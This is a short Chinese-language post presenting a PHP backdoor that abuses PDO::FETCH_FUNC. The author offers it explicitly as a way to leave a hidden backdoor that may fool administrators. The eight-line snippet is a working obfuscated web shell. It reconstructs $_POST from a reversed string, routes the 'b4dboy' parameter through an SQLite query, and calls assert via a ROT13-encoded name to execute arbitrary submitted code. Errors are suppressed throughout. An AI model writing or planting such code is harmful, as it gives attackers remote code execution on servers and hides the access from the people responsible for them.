利用PDO::FETCH_FUNC特性留后门

翻手册的时候发现fetch_argument的参数PDO::FETCH_FUNC可以回调一个函数,用这东西留个后门应该可以迷惑部分管理员。

适用于:(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)。

1
2
3
4
5
6
7
8
<?php
if(($db = @new PDO('sqlite::memory:')) && ($sql = strrev('TSOP_')) && ($sql = $$sql)) {
$stmt = @$db->query("SELECT '{$sql[b4dboy]}'");
$result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg'));
}
?>